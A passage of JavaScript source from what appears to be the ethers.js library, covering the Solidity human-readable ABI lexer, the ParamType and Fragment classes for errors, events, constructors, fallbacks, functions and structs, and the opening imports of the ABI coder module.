continue;\n }\n token.type = \"ID\";\n continue;\n }\n match = cur.match(regexNumberPrefix);\n if (match) {\n token.text = match[1];\n token.type = \"NUMBER\";\n offset += token.text.length;\n continue;\n }\n throw new Error(`unexpected token ${JSON.stringify(cur[0])} at position ${offset}`);\n }\n return new TokenString(tokens.map((t) => Object.freeze(t)));\n}\n// Check only one of `allowed` is in `set`\nfunction allowSingle(set, allowed) {\n let included = [];\n for (const key in allowed.keys()) {\n if (set.has(key)) {\n included.push(key);\n }\n }\n if (included.length > 1) {\n throw new Error(`conflicting types: ${included.join(\", \")}`);\n }\n}\n// Functions to process a Solidity Signature TokenString from left-to-right for...\n// ...the name with an optional type, returning the name\nfunction consumeName(type, tokens) {\n if (tokens.peekKeyword(KwTypes)) {\n const keyword = tokens.pop().text;\n if (keyword !== type) {\n throw new Error(`expected ${type}, got ${keyword}`);\n }\n }\n return tokens.popType(\"ID\");\n}\n// ...all keywords matching allowed, returning the keywords\nfunction consumeKeywords(tokens, allowed) {\n const keywords = new Set();\n while (true) {\n const keyword = tokens.peekType(\"KEYWORD\");\n if (keyword == null || (allowed && !allowed.has(keyword))) {\n break;\n }\n tokens.pop();\n if (keywords.has(keyword)) {\n throw new Error(`duplicate keywords: ${JSON.stringify(keyword)}`);\n }\n keywords.add(keyword);\n }\n return Object.freeze(keywords);\n}\n// ...all visibility keywords, returning the coalesced mutability\nfunction consumeMutability(tokens) {\n let modifiers = consumeKeywords(tokens, KwVisib);\n // Detect conflicting modifiers\n allowSingle(modifiers, setify(\"constant payable nonpayable\".split(\" \")));\n allowSingle(modifiers, setify(\"pure view payable nonpayable\".split(\" \")));\n // Process mutability states\n if (modifiers.has(\"view\")) {\n return \"view\";\n }\n if (modifiers.has(\"pure\")) {\n return \"pure\";\n }\n if (modifiers.has(\"payable\")) {\n return \"payable\";\n }\n if (modifiers.has(\"nonpayable\")) {\n return \"nonpayable\";\n }\n // Process legacy `constant` last\n if (modifiers.has(\"constant\")) {\n return \"view\";\n }\n return \"nonpayable\";\n}\n// ...a parameter list, returning the ParamType list\nfunction consumeParams(tokens, allowIndexed) {\n return tokens.popParams().map((t) => ParamType.from(t, allowIndexed));\n}\n// ...a gas limit, returning a BigNumber or null if none\nfunction consumeGas(tokens) {\n if (tokens.peekType(\"AT\")) {\n tokens.pop();\n if (tokens.peekType(\"NUMBER\")) {\n return getBigInt(tokens.pop().text);\n }\n throw new Error(\"invalid gas\");\n }\n return null;\n}\nfunction consumeEoi(tokens) {\n if (tokens.length) {\n throw new Error(`unexpected tokens at offset ${tokens.offset}: ${tokens.toString()}`);\n }\n}\nconst regexArrayType = new RegExp(/^(.*)\\[([0-9]*)\\]$/);\nfunction verifyBasicType(type) {\n const match = type.match(regexType);\n assertArgument(match, \"invalid type\", \"type\", type);\n if (type === \"uint\") {\n return \"uint256\";\n }\n if (type === \"int\") {\n return \"int256\";\n }\n if (match[2]) {\n // bytesXX\n const length = parseInt(match[2]);\n assertArgument(length !== 0 && length <= 32, \"invalid bytes length\", \"type\", type);\n }\n else if (match[3]) {\n // intXX or uintXX\n const size = parseInt(match[3]);\n assertArgument(size !== 0 && size <= 256 && (size % 8) === 0, \"invalid numeric width\", \"type\", type);\n }\n return type;\n}\n// Make the Fragment constructors effectively private\nconst _guard = {};\nconst internal = Symbol.for(\"_ethers_internal\");\nconst ParamTypeInternal = \"_ParamTypeInternal\";\nconst ErrorFragmentInternal = \"_ErrorInternal\";\nconst EventFragmentInternal = \"_EventInternal\";\nconst ConstructorFragmentInternal = \"_ConstructorInternal\";\nconst FallbackFragmentInternal = \"_FallbackInternal\";\nconst FunctionFragmentInternal = \"_FunctionInternal\";\nconst StructFragmentInternal = \"_StructInternal\";\n/**\n * Each input and output of a [[Fragment]] is an Array of **ParamType**.\n */\nexport class ParamType {\n /**\n * The local name of the parameter (or ``\"\"`` if unbound)\n */\n name;\n /**\n * The fully qualified type (e.g. ``\"address\"``, ``\"tuple(address)\"``,\n * ``\"uint256[3][]\"``)\n */\n type;\n /**\n * The base type (e.g. ``\"address\"``, ``\"tuple\"``, ``\"array\"``)\n */\n baseType;\n /**\n * True if the parameters is indexed.\n *\n * For non-indexable types this is ``null``.\n */\n indexed;\n /**\n * The components for the tuple.\n *\n * For non-tuple types this is ``null``.\n */\n components;\n /**\n * The array length, or ``-1`` for dynamic-lengthed arrays.\n *\n * For non-array types this is ``null``.\n */\n arrayLength;\n /**\n * The type of each child in the array.\n *\n * For non-array types this is ``null``.\n */\n arrayChildren;\n /**\n * @private\n */\n constructor(guard, name, type, baseType, indexed, components, arrayLength, arrayChildren) {\n assertPrivate(guard, _guard, \"ParamType\");\n Object.defineProperty(this, internal, { value: ParamTypeInternal });\n if (components) {\n components = Object.freeze(components.slice());\n }\n if (baseType === \"array\") {\n if (arrayLength == null || arrayChildren == null) {\n throw new Error(\"\");\n }\n }\n else if (arrayLength != null || arrayChildren != null) {\n throw new Error(\"\");\n }\n if (baseType === \"tuple\") {\n if (components == null) {\n throw new Error(\"\");\n }\n }\n else if (components != null) {\n throw new Error(\"\");\n }\n defineProperties(this, {\n name, type, baseType, indexed, components, arrayLength, arrayChildren\n });\n }\n /**\n * Return a string representation of this type.\n *\n * For example,\n *\n * ``sighash\" => \"(uint256,address)\"``\n *\n * ``\"minimal\" => \"tuple(uint256,address) indexed\"``\n *\n * ``\"full\" => \"tuple(uint256 foo, address bar) indexed baz\"``\n */\n format(format) {\n if (format == null) {\n format = \"sighash\";\n }\n if (format === \"json\") {\n const name = this.name || \"\";\n if (this.isArray()) {\n const result = JSON.parse(this.arrayChildren.format(\"json\"));\n result.name = name;\n result.type += `[${(this.arrayLength < 0 ? \"\" : String(this.arrayLength))}]`;\n return JSON.stringify(result);\n }\n const result = {\n type: ((this.baseType === \"tuple\") ? \"tuple\" : this.type),\n name\n };\n if (typeof (this.indexed) === \"boolean\") {\n result.indexed = this.indexed;\n }\n if (this.isTuple()) {\n result.components = this.components.map((c) => JSON.parse(c.format(format)));\n }\n return JSON.stringify(result);\n }\n let result = \"\";\n // Array\n if (this.isArray()) {\n result += this.arrayChildren.format(format);\n result += `[${(this.arrayLength < 0 ? \"\" : String(this.arrayLength))}]`;\n }\n else {\n if (this.isTuple()) {\n result += \"(\" + this.components.map((comp) => comp.format(format)).join((format === \"full\") ? \", \" : \",\") + \")\";\n }\n else {\n result += this.type;\n }\n }\n if (format !== \"sighash\") {\n if (this.indexed === true) {\n result += \" indexed\";\n }\n if (format === \"full\" && this.name) {\n result += \" \" + this.name;\n }\n }\n return result;\n }\n /**\n * Returns true if %%this%% is an Array type.\n *\n * This provides a type gaurd ensuring that [[arrayChildren]]\n * and [[arrayLength]] are non-null.\n */\n isArray() {\n return (this.baseType === \"array\");\n }\n /**\n * Returns true if %%this%% is a Tuple type.\n *\n * This provides a type gaurd ensuring that [[components]]\n * is non-null.\n */\n isTuple() {\n return (this.baseType === \"tuple\");\n }\n /**\n * Returns true if %%this%% is an Indexable type.\n *\n * This provides a type gaurd ensuring that [[indexed]]\n * is non-null.\n */\n isIndexable() {\n return (this.indexed != null);\n }\n /**\n * Walks the **ParamType** with %%value%%, calling %%process%%\n * on each type, destructing the %%value%% recursively.\n */\n walk(value, process) {\n if (this.isArray()) {\n if (!Array.isArray(value)) {\n throw new Error(\"invalid array value\");\n }\n if (this.arrayLength !== -1 && value.length !== this.arrayLength) {\n throw new Error(\"array is wrong length\");\n }\n const _this = this;\n return value.map((v) => (_this.arrayChildren.walk(v, process)));\n }\n if (this.isTuple()) {\n if (!Array.isArray(value)) {\n throw new Error(\"invalid tuple value\");\n }\n if (value.length !== this.components.length) {\n throw new Error(\"array is wrong length\");\n }\n const _this = this;\n return value.map((v, i) => (_this.components[i].walk(v, process)));\n }\n return process(this.type, value);\n }\n #walkAsync(promises, value, process, setValue) {\n if (this.isArray()) {\n if (!Array.isArray(value)) {\n throw new Error(\"invalid array value\");\n }\n if (this.arrayLength !== -1 && value.length !== this.arrayLength) {\n throw new Error(\"array is wrong length\");\n }\n const childType = this.arrayChildren;\n const result = value.slice();\n result.forEach((value, index) => {\n childType.#walkAsync(promises, value, process, (value) => {\n result[index] = value;\n });\n });\n setValue(result);\n return;\n }\n if (this.isTuple()) {\n const components = this.components;\n // Convert the object into an array\n let result;\n if (Array.isArray(value)) {\n result = value.slice();\n }\n else {\n if (value == null || typeof (value) !== \"object\") {\n throw new Error(\"invalid tuple value\");\n }\n result = components.map((param) => {\n if (!param.name) {\n throw new Error(\"cannot use object value with unnamed components\");\n }\n if (!(param.name in value)) {\n throw new Error(`missing value for component ${param.name}`);\n }\n return value[param.name];\n });\n }\n if (result.length !== this.components.length) {\n throw new Error(\"array is wrong length\");\n }\n result.forEach((value, index) => {\n components[index].#walkAsync(promises, value, process, (value) => {\n result[index] = value;\n });\n });\n setValue(result);\n return;\n }\n const result = process(this.type, value);\n if (result.then) {\n promises.push((async function () { setValue(await result); })());\n }\n else {\n setValue(result);\n }\n }\n /**\n * Walks the **ParamType** with %%value%%, asynchronously calling\n * %%process%% on each type, destructing the %%value%% recursively.\n *\n * This can be used to resolve ENS names by walking and resolving each\n * ``\"address\"`` type.\n */\n async walkAsync(value, process) {\n const promises = [];\n const result = [value];\n this.#walkAsync(promises, value, process, (value) => {\n result[0] = value;\n });\n if (promises.length) {\n await Promise.all(promises);\n }\n return result[0];\n }\n /**\n * Creates a new **ParamType** for %%obj%%.\n *\n * If %%allowIndexed%% then the ``indexed`` keyword is permitted,\n * otherwise the ``indexed`` keyword will throw an error.\n */\n static from(obj, allowIndexed) {\n if (ParamType.isParamType(obj)) {\n return obj;\n }\n if (typeof (obj) === \"string\") {\n try {\n return ParamType.from(lex(obj), allowIndexed);\n }\n catch (error) {\n assertArgument(false, \"invalid param type\", \"obj\", obj);\n }\n }\n else if (obj instanceof TokenString) {\n let type = \"\", baseType = \"\";\n let comps = null;\n if (consumeKeywords(obj, setify([\"tuple\"])).has(\"tuple\") || obj.peekType(\"OPEN_PAREN\")) {\n // Tuple\n baseType = \"tuple\";\n comps = obj.popParams().map((t) => ParamType.from(t));\n type = `tuple(${comps.map((c) => c.format()).join(\",\")})`;\n }\n else {\n // Normal\n type = verifyBasicType(obj.popType(\"TYPE\"));\n baseType = type;\n }\n // Check for Array\n let arrayChildren = null;\n let arrayLength = null;\n while (obj.length && obj.peekType(\"BRACKET\")) {\n const bracket = obj.pop(); //arrays[i];\n arrayChildren = new ParamType(_guard, \"\", type, baseType, null, comps, arrayLength, arrayChildren);\n arrayLength = bracket.value;\n type += bracket.text;\n baseType = \"array\";\n comps = null;\n }\n let indexed = null;\n const keywords = consumeKeywords(obj, KwModifiers);\n if (keywords.has(\"indexed\")) {\n if (!allowIndexed) {\n throw new Error(\"\");\n }\n indexed = true;\n }\n const name = (obj.peekType(\"ID\") ? obj.pop().text : \"\");\n if (obj.length) {\n throw new Error(\"leftover tokens\");\n }\n return new ParamType(_guard, name, type, baseType, indexed, comps, arrayLength, arrayChildren);\n }\n const name = obj.name;\n assertArgument(!name || (typeof (name) === \"string\" && name.match(regexId)), \"invalid name\", \"obj.name\", name);\n let indexed = obj.indexed;\n if (indexed != null) {\n assertArgument(allowIndexed, \"parameter cannot be indexed\", \"obj.indexed\", obj.indexed);\n indexed = !!indexed;\n }\n let type = obj.type;\n let arrayMatch = type.match(regexArrayType);\n if (arrayMatch) {\n const arrayLength = parseInt(arrayMatch[2] || \"-1\");\n const arrayChildren = ParamType.from({\n type: arrayMatch[1],\n components: obj.components\n });\n return new ParamType(_guard, name || \"\", type, \"array\", indexed, null, arrayLength, arrayChildren);\n }\n if (type === \"tuple\" || type.startsWith(\"tuple(\" /* fix: ) */) || type.startsWith(\"(\" /* fix: ) */)) {\n const comps = (obj.components != null) ? obj.components.map((c) => ParamType.from(c)) : null;\n const tuple = new ParamType(_guard, name || \"\", type, \"tuple\", indexed, comps, null, null);\n // @TODO: use lexer to validate and normalize type\n return tuple;\n }\n type = verifyBasicType(obj.type);\n return new ParamType(_guard, name || \"\", type, type, indexed, null, null, null);\n }\n /**\n * Returns true if %%value%% is a **ParamType**.\n */\n static isParamType(value) {\n return (value && value[internal] === ParamTypeInternal);\n }\n}\n/**\n * An abstract class to represent An individual fragment from a parse ABI.\n */\nexport class Fragment {\n /**\n * The type of the fragment.\n */\n type;\n /**\n * The inputs for the fragment.\n */\n inputs;\n /**\n * @private\n */\n constructor(guard, type, inputs) {\n assertPrivate(guard, _guard, \"Fragment\");\n inputs = Object.freeze(inputs.slice());\n defineProperties(this, { type, inputs });\n }\n /**\n * Creates a new **Fragment** for %%obj%%, wich can be any supported\n * ABI frgament type.\n */\n static from(obj) {\n if (typeof (obj) === \"string\") {\n // Try parsing JSON...\n try {\n Fragment.from(JSON.parse(obj));\n }\n catch (e) { }\n // ...otherwise, use the human-readable lexer\n return Fragment.from(lex(obj));\n }\n if (obj instanceof TokenString) {\n // Human-readable ABI (already lexed)\n const type = obj.peekKeyword(KwTypes);\n switch (type) {\n case \"constructor\": return ConstructorFragment.from(obj);\n case \"error\": return ErrorFragment.from(obj);\n case \"event\": return EventFragment.from(obj);\n case \"fallback\":\n case \"receive\":\n return FallbackFragment.from(obj);\n case \"function\": return FunctionFragment.from(obj);\n case \"struct\": return StructFragment.from(obj);\n }\n }\n else if (typeof (obj) === \"object\") {\n // JSON ABI\n switch (obj.type) {\n case \"constructor\": return ConstructorFragment.from(obj);\n case \"error\": return ErrorFragment.from(obj);\n case \"event\": return EventFragment.from(obj);\n case \"fallback\":\n case \"receive\":\n return FallbackFragment.from(obj);\n case \"function\": return FunctionFragment.from(obj);\n case \"struct\": return StructFragment.from(obj);\n }\n assert(false, `unsupported type: ${obj.type}`, \"UNSUPPORTED_OPERATION\", {\n operation: \"Fragment.from\"\n });\n }\n assertArgument(false, \"unsupported frgament object\", \"obj\", obj);\n }\n /**\n * Returns true if %%value%% is a [[ConstructorFragment]].\n */\n static isConstructor(value) {\n return ConstructorFragment.isFragment(value);\n }\n /**\n * Returns true if %%value%% is an [[ErrorFragment]].\n */\n static isError(value) {\n return ErrorFragment.isFragment(value);\n }\n /**\n * Returns true if %%value%% is an [[EventFragment]].\n */\n static isEvent(value) {\n return EventFragment.isFragment(value);\n }\n /**\n * Returns true if %%value%% is a [[FunctionFragment]].\n */\n static isFunction(value) {\n return FunctionFragment.isFragment(value);\n }\n /**\n * Returns true if %%value%% is a [[StructFragment]].\n */\n static isStruct(value) {\n return StructFragment.isFragment(value);\n }\n}\n/**\n * An abstract class to represent An individual fragment\n * which has a name from a parse ABI.\n */\nexport class NamedFragment extends Fragment {\n /**\n * The name of the fragment.\n */\n name;\n /**\n * @private\n */\n constructor(guard, type, name, inputs) {\n super(guard, type, inputs);\n assertArgument(typeof (name) === \"string\" && name.match(regexId), \"invalid identifier\", \"name\", name);\n inputs = Object.freeze(inputs.slice());\n defineProperties(this, { name });\n }\n}\nfunction joinParams(format, params) {\n return \"(\" + params.map((p) => p.format(format)).join((format === \"full\") ? \", \" : \",\") + \")\";\n}\n/**\n * A Fragment which represents a //Custom Error//.\n */\nexport class ErrorFragment extends NamedFragment {\n /**\n * @private\n */\n constructor(guard, name, inputs) {\n super(guard, \"error\", name, inputs);\n Object.defineProperty(this, internal, { value: ErrorFragmentInternal });\n }\n /**\n * The Custom Error selector.\n */\n get selector() {\n return id(this.format(\"sighash\")).substring(0, 10);\n }\n /**\n * Returns a string representation of this fragment as %%format%%.\n */\n format(format) {\n if (format == null) {\n format = \"sighash\";\n }\n if (format === \"json\") {\n return JSON.stringify({\n type: \"error\",\n name: this.name,\n inputs: this.inputs.map((input) => JSON.parse(input.format(format))),\n });\n }\n const result = [];\n if (format !== \"sighash\") {\n result.push(\"error\");\n }\n result.push(this.name + joinParams(format, this.inputs));\n return result.join(\" \");\n }\n /**\n * Returns a new **ErrorFragment** for %%obj%%.\n */\n static from(obj) {\n if (ErrorFragment.isFragment(obj)) {\n return obj;\n }\n if (typeof (obj) === \"string\") {\n return ErrorFragment.from(lex(obj));\n }\n else if (obj instanceof TokenString) {\n const name = consumeName(\"error\", obj);\n const inputs = consumeParams(obj);\n consumeEoi(obj);\n return new ErrorFragment(_guard, name, inputs);\n }\n return new ErrorFragment(_guard, obj.name, obj.inputs ? obj.inputs.map(ParamType.from) : []);\n }\n /**\n * Returns ``true`` and provides a type guard if %%value%% is an\n * **ErrorFragment**.\n */\n static isFragment(value) {\n return (value && value[internal] === ErrorFragmentInternal);\n }\n}\n/**\n * A Fragment which represents an Event.\n */\nexport class EventFragment extends NamedFragment {\n /**\n * Whether this event is anonymous.\n */\n anonymous;\n /**\n * @private\n */\n constructor(guard, name, inputs, anonymous) {\n super(guard, \"event\", name, inputs);\n Object.defineProperty(this, internal, { value: EventFragmentInternal });\n defineProperties(this, { anonymous });\n }\n /**\n * The Event topic hash.\n */\n get topicHash() {\n return id(this.format(\"sighash\"));\n }\n /**\n * Returns a string representation of this event as %%format%%.\n */\n format(format) {\n if (format == null) {\n format = \"sighash\";\n }\n if (format === \"json\") {\n return JSON.stringify({\n type: \"event\",\n anonymous: this.anonymous,\n name: this.name,\n inputs: this.inputs.map((i) => JSON.parse(i.format(format)))\n });\n }\n const result = [];\n if (format !== \"sighash\") {\n result.push(\"event\");\n }\n result.push(this.name + joinParams(format, this.inputs));\n if (format !== \"sighash\" && this.anonymous) {\n result.push(\"anonymous\");\n }\n return result.join(\" \");\n }\n /**\n * Return the topic hash for an event with %%name%% and %%params%%.\n */\n static getTopicHash(name, params) {\n params = (params || []).map((p) => ParamType.from(p));\n const fragment = new EventFragment(_guard, name, params, false);\n return fragment.topicHash;\n }\n /**\n * Returns a new **EventFragment** for %%obj%%.\n */\n static from(obj) {\n if (EventFragment.isFragment(obj)) {\n return obj;\n }\n if (typeof (obj) === \"string\") {\n try {\n return EventFragment.from(lex(obj));\n }\n catch (error) {\n assertArgument(false, \"invalid event fragment\", \"obj\", obj);\n }\n }\n else if (obj instanceof TokenString) {\n const name = consumeName(\"event\", obj);\n const inputs = consumeParams(obj, true);\n const anonymous = !!consumeKeywords(obj, setify([\"anonymous\"])).has(\"anonymous\");\n consumeEoi(obj);\n return new EventFragment(_guard, name, inputs, anonymous);\n }\n return new EventFragment(_guard, obj.name, obj.inputs ? obj.inputs.map((p) => ParamType.from(p, true)) : [], !!obj.anonymous);\n }\n /**\n * Returns ``true`` and provides a type guard if %%value%% is an\n * **EventFragment**.\n */\n static isFragment(value) {\n return (value && value[internal] === EventFragmentInternal);\n }\n}\n/**\n * A Fragment which represents a constructor.\n */\nexport class ConstructorFragment extends Fragment {\n /**\n * Whether the constructor can receive an endowment.\n */\n payable;\n /**\n * The recommended gas limit for deployment or ``null``.\n */\n gas;\n /**\n * @private\n */\n constructor(guard, type, inputs, payable, gas) {\n super(guard, type, inputs);\n Object.defineProperty(this, internal, { value: ConstructorFragmentInternal });\n defineProperties(this, { payable, gas });\n }\n /**\n * Returns a string representation of this constructor as %%format%%.\n */\n format(format) {\n assert(format != null && format !== \"sighash\", \"cannot format a constructor for sighash\", \"UNSUPPORTED_OPERATION\", { operation: \"format(sighash)\" });\n if (format === \"json\") {\n return JSON.stringify({\n type: \"constructor\",\n stateMutability: (this.payable ? \"payable\" : \"undefined\"),\n payable: this.payable,\n gas: ((this.gas != null) ? this.gas : undefined),\n inputs: this.inputs.map((i) => JSON.parse(i.format(format)))\n });\n }\n const result = [`constructor${joinParams(format, this.inputs)}`];\n if (this.payable) {\n result.push(\"payable\");\n }\n if (this.gas != null) {\n result.push(`@${this.gas.toString()}`);\n }\n return result.join(\" \");\n }\n /**\n * Returns a new **ConstructorFragment** for %%obj%%.\n */\n static from(obj) {\n if (ConstructorFragment.isFragment(obj)) {\n return obj;\n }\n if (typeof (obj) === \"string\") {\n try {\n return ConstructorFragment.from(lex(obj));\n }\n catch (error) {\n assertArgument(false, \"invalid constuctor fragment\", \"obj\", obj);\n }\n }\n else if (obj instanceof TokenString) {\n consumeKeywords(obj, setify([\"constructor\"]));\n const inputs = consumeParams(obj);\n const payable = !!consumeKeywords(obj, KwVisibDeploy).has(\"payable\");\n const gas = consumeGas(obj);\n consumeEoi(obj);\n return new ConstructorFragment(_guard, \"constructor\", inputs, payable, gas);\n }\n return new ConstructorFragment(_guard, \"constructor\", obj.inputs ? obj.inputs.map(ParamType.from) : [], !!obj.payable, (obj.gas != null) ? obj.gas : null);\n }\n /**\n * Returns ``true`` and provides a type guard if %%value%% is a\n * **ConstructorFragment**.\n */\n static isFragment(value) {\n return (value && value[internal] === ConstructorFragmentInternal);\n }\n}\n/**\n * A Fragment which represents a method.\n */\nexport class FallbackFragment extends Fragment {\n /**\n * If the function can be sent value during invocation.\n */\n payable;\n constructor(guard, inputs, payable) {\n super(guard, \"fallback\", inputs);\n Object.defineProperty(this, internal, { value: FallbackFragmentInternal });\n defineProperties(this, { payable });\n }\n /**\n * Returns a string representation of this fallback as %%format%%.\n */\n format(format) {\n const type = ((this.inputs.length === 0) ? \"receive\" : \"fallback\");\n if (format === \"json\") {\n const stateMutability = (this.payable ? \"payable\" : \"nonpayable\");\n return JSON.stringify({ type, stateMutability });\n }\n return `${type}()${this.payable ? \" payable\" : \"\"}`;\n }\n /**\n * Returns a new **FallbackFragment** for %%obj%%.\n */\n static from(obj) {\n if (FallbackFragment.isFragment(obj)) {\n return obj;\n }\n if (typeof (obj) === \"string\") {\n try {\n return FallbackFragment.from(lex(obj));\n }\n catch (error) {\n assertArgument(false, \"invalid fallback fragment\", \"obj\", obj);\n }\n }\n else if (obj instanceof TokenString) {\n const errorObj = obj.toString();\n const topIsValid = obj.peekKeyword(setify([\"fallback\", \"receive\"]));\n assertArgument(topIsValid, \"type must be fallback or receive\", \"obj\", errorObj);\n const type = obj.popKeyword(setify([\"fallback\", \"receive\"]));\n // receive()\n if (type === \"receive\") {\n const inputs = consumeParams(obj);\n assertArgument(inputs.length === 0, `receive cannot have arguments`, \"obj.inputs\", inputs);\n consumeKeywords(obj, setify([\"payable\"]));\n consumeEoi(obj);\n return new FallbackFragment(_guard, [], true);\n }\n // fallback() [payable]\n // fallback(bytes) [payable] returns (bytes)\n let inputs = consumeParams(obj);\n if (inputs.length) {\n assertArgument(inputs.length === 1 && inputs[0].type === \"bytes\", \"invalid fallback inputs\", \"obj.inputs\", inputs.map((i) => i.format(\"minimal\")).join(\", \"));\n }\n else {\n inputs = [ParamType.from(\"bytes\")];\n }\n const mutability = consumeMutability(obj);\n assertArgument(mutability === \"nonpayable\" || mutability === \"payable\", \"fallback cannot be constants\", \"obj.stateMutability\", mutability);\n if (consumeKeywords(obj, setify([\"returns\"])).has(\"returns\")) {\n const outputs = consumeParams(obj);\n assertArgument(outputs.length === 1 && outputs[0].type === \"bytes\", \"invalid fallback outputs\", \"obj.outputs\", outputs.map((i) => i.format(\"minimal\")).join(\", \"));\n }\n consumeEoi(obj);\n return new FallbackFragment(_guard, inputs, mutability === \"payable\");\n }\n if (obj.type === \"receive\") {\n return new FallbackFragment(_guard, [], true);\n }\n if (obj.type === \"fallback\") {\n const inputs = [ParamType.from(\"bytes\")];\n const payable = (obj.stateMutability === \"payable\");\n return new FallbackFragment(_guard, inputs, payable);\n }\n assertArgument(false, \"invalid fallback description\", \"obj\", obj);\n }\n /**\n * Returns ``true`` and provides a type guard if %%value%% is a\n * **FallbackFragment**.\n */\n static isFragment(value) {\n return (value && value[internal] === FallbackFragmentInternal);\n }\n}\n/**\n * A Fragment which represents a method.\n */\nexport class FunctionFragment extends NamedFragment {\n /**\n * If the function is constant (e.g. ``pure`` or ``view`` functions).\n */\n constant;\n /**\n * The returned types for the result of calling this function.\n */\n outputs;\n /**\n * The state mutability (e.g. ``payable``, ``nonpayable``, ``view``\n * or ``pure``)\n */\n stateMutability;\n /**\n * If the function can be sent value during invocation.\n */\n payable;\n /**\n * The recommended gas limit to send when calling this function.\n */\n gas;\n /**\n * @private\n */\n constructor(guard, name, stateMutability, inputs, outputs, gas) {\n super(guard, \"function\", name, inputs);\n Object.defineProperty(this, internal, { value: FunctionFragmentInternal });\n outputs = Object.freeze(outputs.slice());\n const constant = (stateMutability === \"view\" || stateMutability === \"pure\");\n const payable = (stateMutability === \"payable\");\n defineProperties(this, { constant, gas, outputs, payable, stateMutability });\n }\n /**\n * The Function selector.\n */\n get selector() {\n return id(this.format(\"sighash\")).substring(0, 10);\n }\n /**\n * Returns a string representation of this function as %%format%%.\n */\n format(format) {\n if (format == null) {\n format = \"sighash\";\n }\n if (format === \"json\") {\n return JSON.stringify({\n type: \"function\",\n name: this.name,\n constant: this.constant,\n stateMutability: ((this.stateMutability !== \"nonpayable\") ? this.stateMutability : undefined),\n payable: this.payable,\n gas: ((this.gas != null) ? this.gas : undefined),\n inputs: this.inputs.map((i) => JSON.parse(i.format(format))),\n outputs: this.outputs.map((o) => JSON.parse(o.format(format))),\n });\n }\n const result = [];\n if (format !== \"sighash\") {\n result.push(\"function\");\n }\n result.push(this.name + joinParams(format, this.inputs));\n if (format !== \"sighash\") {\n if (this.stateMutability !== \"nonpayable\") {\n result.push(this.stateMutability);\n }\n if (this.outputs && this.outputs.length) {\n result.push(\"returns\");\n result.push(joinParams(format, this.outputs));\n }\n if (this.gas != null) {\n result.push(`@${this.gas.toString()}`);\n }\n }\n return result.join(\" \");\n }\n /**\n * Return the selector for a function with %%name%% and %%params%%.\n */\n static getSelector(name, params) {\n params = (params || []).map((p) => ParamType.from(p));\n const fragment = new FunctionFragment(_guard, name, \"view\", params, [], null);\n return fragment.selector;\n }\n /**\n * Returns a new **FunctionFragment** for %%obj%%.\n */\n static from(obj) {\n if (FunctionFragment.isFragment(obj)) {\n return obj;\n }\n if (typeof (obj) === \"string\") {\n try {\n return FunctionFragment.from(lex(obj));\n }\n catch (error) {\n assertArgument(false, \"invalid function fragment\", \"obj\", obj);\n }\n }\n else if (obj instanceof TokenString) {\n const name = consumeName(\"function\", obj);\n const inputs = consumeParams(obj);\n const mutability = consumeMutability(obj);\n let outputs = [];\n if (consumeKeywords(obj, setify([\"returns\"])).has(\"returns\")) {\n outputs = consumeParams(obj);\n }\n const gas = consumeGas(obj);\n consumeEoi(obj);\n return new FunctionFragment(_guard, name, mutability, inputs, outputs, gas);\n }\n let stateMutability = obj.stateMutability;\n // Use legacy Solidity ABI logic if stateMutability is missing\n if (stateMutability == null) {\n stateMutability = \"payable\";\n if (typeof (obj.constant) === \"boolean\") {\n stateMutability = \"view\";\n if (!obj.constant) {\n stateMutability = \"payable\";\n if (typeof (obj.payable) === \"boolean\" && !obj.payable) {\n stateMutability = \"nonpayable\";\n }\n }\n }\n else if (typeof (obj.payable) === \"boolean\" && !obj.payable) {\n stateMutability = \"nonpayable\";\n }\n }\n // @TODO: verifyState for stateMutability (e.g. throw if\n // payable: false but stateMutability is \"nonpayable\")\n return new FunctionFragment(_guard, obj.name, stateMutability, obj.inputs ? obj.inputs.map(ParamType.from) : [], obj.outputs ? obj.outputs.map(ParamType.from) : [], (obj.gas != null) ? obj.gas : null);\n }\n /**\n * Returns ``true`` and provides a type guard if %%value%% is a\n * **FunctionFragment**.\n */\n static isFragment(value) {\n return (value && value[internal] === FunctionFragmentInternal);\n }\n}\n/**\n * A Fragment which represents a structure.\n */\nexport class StructFragment extends NamedFragment {\n /**\n * @private\n */\n constructor(guard, name, inputs) {\n super(guard, \"struct\", name, inputs);\n Object.defineProperty(this, internal, { value: StructFragmentInternal });\n }\n /**\n * Returns a string representation of this struct as %%format%%.\n */\n format() {\n throw new Error(\"@TODO\");\n }\n /**\n * Returns a new **StructFragment** for %%obj%%.\n */\n static from(obj) {\n if (typeof (obj) === \"string\") {\n try {\n return StructFragment.from(lex(obj));\n }\n catch (error) {\n assertArgument(false, \"invalid struct fragment\", \"obj\", obj);\n }\n }\n else if (obj instanceof TokenString) {\n const name = consumeName(\"struct\", obj);\n const inputs = consumeParams(obj);\n consumeEoi(obj);\n return new StructFragment(_guard, name, inputs);\n }\n return new StructFragment(_guard, obj.name, obj.inputs ? obj.inputs.map(ParamType.from) : []);\n }\n // @TODO: fix this return type\n /**\n * Returns ``true`` and provides a type guard if %%value%% is a\n * **StructFragment**.\n */\n static isFragment(value) {\n return (value && value[internal] === StructFragmentInternal);\n }\n}\n//# sourceMappingURL=fragments.js.map","/**\n * When sending values to or receiving values from a [[Contract]], the\n * data is generally encoded using the [ABI standard](link-solc-abi).\n *\n * The AbiCoder provides a utility to encode values to ABI data and\n * decode values from ABI data.\n *\n * Most of the time, developers should favour the [[Contract]] class,\n * which further abstracts a lot of the finer details of ABI data.\n *\n * @_section api/abi/abi-coder:ABI Encoding\n */\n// See: https://github.com/ethereum/wiki/wiki/Ethereum-Contract-ABI\nimport { assertArgumentCount, assertArgument } from \"../utils/index.js\";\nimport { Reader, Writer } from \"./coders/abstract-coder.js\";\nimport { AddressCoder } from \"./coders/address.js\";\nimport { ArrayCoder } from \"./coders/array.js\";\nimport { BooleanCoder } from \"./coders/boolean.js\";\nimport { BytesCoder } from \"./coders/bytes.js\";\nimport { FixedBytesCoder } from \"./coders/fixed-bytes.js\";\nimport { NullCoder } from \"./coders/null.js\";\nimport { NumberCoder } from \"./coders/number.js\";\nimport { StringCoder } from \"./coders/string.js\";\nimport { TupleCoder } from \"./coders/tuple.js\";\nimport { ParamType } from \"./fragments.js\";\nimport { getAddress } from \"../address/index.js\";\nimport { getBytes, hexlify, makeError } from \"../utils/index.js\";\n// https://docs.soliditylang.org/en/v0.8.17/control-structures.html\nconst PanicReasons = new Map();\nPanicReasons.set(0x00, \"GENERIC_PANIC\");\nPanicReasons.set(0x01, \"ASSERT_FALSE\");\nPanicReasons.set(0x11, \"OVERFLOW\");\nPanicReasons.set(0x12, 